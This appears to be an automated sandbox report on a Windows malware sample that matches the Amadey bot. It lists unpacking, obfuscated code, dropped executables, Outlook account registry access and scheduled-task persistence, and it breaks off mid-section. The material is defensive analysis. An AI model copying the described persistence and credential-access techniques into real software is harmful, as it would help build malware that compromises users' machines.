Source: 18.0.F65C.exe.ab0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.F65C.exe.ab0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 35.0.F65C.exe.4d0000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 35.0.F65C.exe.4d0000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\5C89.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager

Source: C:\Users\user\AppData\Local\Temp\9334.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: tijXCZsbGe.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: tijXCZsbGe.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: tijXCZsbGe.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: tijXCZsbGe.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: tijXCZsbGe.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: tijXCZsbGe.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: tijXCZsbGe.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: tijXCZsbGe.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\zazadix dori\kol.pdb source: DB31.exe, 00000010.00000000.772191492.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\jixixahut\vovima50\zuwa\ficux93 lodedam pazuwisivovu\sewidel.pdb source: 5C89.exe, 00000026.00000003.849959984.00000000030D0000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.987438014.0000000003010000.00000040.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.771517190.0000000004E2A000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdbL source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000F.00000003.772634136.0000000003190000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.771566987.0000000003190000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbM source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: C:\buti15\juyekuzotaj-yodod\ciso_pematufuz.pdb source: E748.exe, 00000011.00000000.781295267.0000000000401000.00000020.00020000.sdmp, E748.exe, 00000011.00000002.957299537.00000000008A2000.00000004.00000001.sdmp, gecrjwsv.exe, 00000020.00000000.799382925.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.896342042.0000000000C4F000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: -C:\jixixahut\vovima50\zuwa\ficux93 lodedam pazuwisivovu\sewidel.pdbh source: 5C89.exe, 00000026.00000003.849959984.00000000030D0000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.987438014.0000000003010000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000F.00000003.772634136.0000000003190000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.771566987.0000000003190000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9334.exe, 0000000B.00000000.759170928.0000000000413000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767055660.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000000F.00000002.803672016.0000000002F80000.00000002.00020000.sdmp
Source:	Binary string: `C:\buti15\juyekuzotaj-yodod\ciso_pematufuz.pdbh source: E748.exe, 00000011.00000000.781295267.0000000000401000.00000020.00020000.sdmp, E748.exe, 00000011.00000002.957299537.00000000008A2000.00000004.00000001.sdmp, gecrjwsv.exe, 00000020.00000000.799382925.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.896342042.0000000000C4F000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: :]WC:\yakon-nabavazolof\masa.pdb source: 5C89.exe, 00000026.00000002.987710608.0000000003250000.00000040.00000001.sdmp, 5C89.exe, 00000026.00000003.853855551.0000000003300000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdbH source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: C:\lalovum36_po.pdb source: tijXCZsbGe.exe, tijXCZsbGe.exe, 00000000.00000000.664586745.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000001.00000000.668244716.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000002.756214332.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000000.750595038.0000000000401000.00000020.00020000.sdmp, rifsswe, 0000000A.00000000.753285521.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: C:\yakon-nabavazolof\masa.pdb source: 5C89.exe, 00000026.00000002.987710608.0000000003250000.00000040.00000001.sdmp, 5C89.exe, 00000026.00000003.853855551.0000000003300000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdbN source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbR source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000F.00000003.781663555.0000000005110000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000000F.00000003.781676244.0000000005116000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000F.00000003.781655365.0000000005141000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9334.exe, 0000000B.00000000.759170928.0000000000413000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767055660.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000000F.00000002.803672016.0000000002F80000.00000002.00020000.sdmp
Source:	Binary string: C:\lalovum36_po.pdbh source: tijXCZsbGe.exe, 00000000.00000000.664586745.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, tijXCZsbGe.exe, 00000001.00000000.668244716.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000002.756214332.0000000000401000.00000020.00020000.sdmp, rifsswe, 00000009.00000000.750595038.0000000000401000.00000020.00020000.sdmp, rifsswe, 0000000A.00000000.753285521.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\zazadix dori\kol.pdbh source: DB31.exe, 00000010.00000000.772191492.0000000000401000.00000020.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Unpacked PE file: 16.2.DB31.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Unpacked PE file: 17.2.E748.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Unpacked PE file: 32.2.gecrjwsv.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Unpacked PE file: 38.2.5C89.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Unpacked PE file: 38.2.5C89.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Unpacked PE file: 16.2.DB31.exe.400000.0.unpack .text:ER;.data:W;.gave:W;.noduf:W;.gafal:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Unpacked PE file: 17.2.E748.exe.400000.0.unpack .text:ER;.data:W;.sop:W;.fob:W;.hasajo:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Unpacked PE file: 32.2.gecrjwsv.exe.400000.0.unpack .text:ER;.data:W;.sop:W;.fob:W;.hasajo:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Unpacked PE file: 38.2.5C89.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: F65C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 18.0.F65C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 18.0.F65C.exe.ab0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 18.0.F65C.exe.ab0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 35.0.F65C.exe.4d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_0043E184 push ebp; retf	0_2_0043E185
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 9_2_00633634 push es; iretd	9_2_00633640
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00401880 push esi; iretd	10_2_00401893
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00402E94 push es; iretd	10_2_00402EA0
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_00402E94 push es; iretd	10_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_00412CA4 push eax; ret	11_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0047127E push edi; iretd	11_2_004712AA
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0047123C push edi; iretd	11_2_004712AA
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0047735E push esp; iretd	11_2_0047735F
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_004753C8 pushfd ; retf	11_2_004753D3
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004139B0 push eax; ret	16_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_00896F0B push 0000002Bh; iretd	17_2_00896F11
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_00894715 push ds; ret	17_2_00894716
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_00AB8508 push 00000028h; retf 0000h	18_2_00AB850D
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_00AB764A push esp; ret	18_2_00AB764B
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02E54003 push esi; retf	18_2_02E5400F
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02ED0D8C push E86C8B43h; retf	18_2_02ED0D91
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_054B2503 push E80A995Eh; ret	18_2_054B2509

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

Code function: 0_2_0042D9F0 LoadLibraryW,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_0042D9F0

Source: F65C.exe.5.dr

Static PE information: 0xA22A793F [Sun Mar 19 11:55:43 2056 UTC]

Source: tijXCZsbGe.exe	Static PE information: section name: .koyalef
Source: tijXCZsbGe.exe	Static PE information: section name: .bopi
Source: tijXCZsbGe.exe	Static PE information: section name: .cegem
Source: 6FB4.exe.5.dr	Static PE information: section name: .gizi
Source: 6FB4.exe.5.dr	Static PE information: section name: .bur
Source: 6FB4.exe.5.dr	Static PE information: section name: .wob
Source: DB31.exe.5.dr	Static PE information: section name: .gave
Source: DB31.exe.5.dr	Static PE information: section name: .noduf
Source: DB31.exe.5.dr	Static PE information: section name: .gafal
Source: E748.exe.5.dr	Static PE information: section name: .sop
Source: E748.exe.5.dr	Static PE information: section name: .fob
Source: E748.exe.5.dr	Static PE information: section name: .hasajo
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name: .28gybOo
Source: 8783.exe.5.dr	Static PE information: section name: .adata
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name: .28gybOo
Source: 9DFA.exe.5.dr	Static PE information: section name: .adata
Source: C7FA.exe.5.dr	Static PE information: section name: .didata
Source: rifsswe.5.dr	Static PE information: section name: .koyalef
Source: rifsswe.5.dr	Static PE information: section name: .bopi
Source: rifsswe.5.dr	Static PE information: section name: .cegem
Source: gecrjwsv.exe.17.dr	Static PE information: section name: .sop
Source: gecrjwsv.exe.17.dr	Static PE information: section name: .fob
Source: gecrjwsv.exe.17.dr	Static PE information: section name: .hasajo

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: 8783.exe.5.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654
Source: F65C.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: 9DFA.exe.5.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654

Source: initial sample	Static PE information: section name: .text entropy: 6.96511151774
Source: initial sample	Static PE information: section name: .text entropy: 7.2566886804
Source: initial sample	Static PE information: section name: .text entropy: 6.98468263043
Source: initial sample	Static PE information: section name: .text entropy: 6.95999300846
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: .text entropy: 6.96511151774
Source: initial sample	Static PE information: section name: .text entropy: 6.95999300846

Source: F65C.exe.5.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: F65C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.F65C.exe.ab0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.F65C.exe.ab0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.0.F65C.exe.ab0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.0.F65C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.F65C.exe.ab0000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.0.F65C.exe.ab0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.F65C.exe.ab0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.F65C.exe.ab0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 35.0.F65C.exe.4d0000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 35.0.F65C.exe.4d0000.13.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 35.0.F65C.exe.4d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 35.0.F65C.exe.4d0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 35.0.F65C.exe.4d0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 35.0.F65C.exe.4d0000.7.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000029.00000002.953737182.0000000000821000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.953617420.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.953715192.0000000000812000.00000004.00000001.sdmp, type: MEMORY

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rifsswe

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C7FA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E748.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6FB4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rifsswe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8783.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B0F7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9334.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9DFA.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\E748.exe	File created: C:\Users\user\AppData\Local\Temp\gecrjwsv.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DB31.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F65C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5C89.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe (copy)

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe

